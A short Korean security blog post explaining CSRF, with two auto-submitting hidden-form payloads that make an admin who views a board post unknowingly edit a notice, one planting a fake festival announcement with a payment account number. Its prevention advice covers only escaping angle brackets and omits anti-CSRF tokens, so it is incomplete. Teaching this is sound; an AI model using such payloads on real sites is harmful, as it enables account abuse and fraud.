Simple is IT, 누구나 보고 누구나 깨닫는 IT

CSRF (Cross Site Request Forgery) 및 예방법 본문

Simple is IT/Security

CSRF (Cross Site Request Forgery) 및 예방법

currenjin 2020. 4. 27. 11:15
CSRF(Cross Site Request Forgery) ?
: 스크립트를 이용해 게시글을 조회하는 사용자의 권한으로 사용자가 원하지 않던 작업을 수행

<body onload="document.form_test.submit();">

<form name="form_test" action="board_update_reg.asp" method="POST">
<input type="hidden" name="user" value="관리자">
<input type="hidden" name="title" value="에헤헤헤">
<input type="hidden" name="contents" value="csrf attack">
<input type="hidden" name="idx" value="2">
</form>

'form_test'라는 form tag로 이동해 작업을 수행한다.
작업 내용 : 게시글을 작성하는 페이지로 넘어가 값들을 작성하고 등록함.

example seanario

<body onload="document.form_test.submit();">

<form name="form_test" action="board_update_reg.asp" method="POST">
<input type="hidden" name="user" value="관리자">
<input type="hidden" name="title" value="2020 페스티벌">
<input type="hidden" name="contents" value="2020 페스티벌

기간 : 2020. 10. 10(토) ~ 10. 15(목) 5일간

장소 : 잠실종합운동장

주최 : 서울시

참가비 : 1000원

계좌 : 222-22222-22-222">
<input type="hidden" name="idx" value="29">
</form>


관리자가 공지를 등록했다.


진짜 쉬고싶은 해커가 쉬는 기간을 늘리고 싶어 위와 같은 게시물을 작성했다.


이제 관리자가 해당 게시글을 클릭하게되면,

아래 내용과 같이 수정이 된다.



예방법
'< >(꺽새)' 형식의 텍스트를 치환한다.
-> 사용자에게 보여지는 '< >'형식을 코드에서 동작하지 않는 '&lt'로 치환.(사용자에게는 정상적으로 보임)




Comments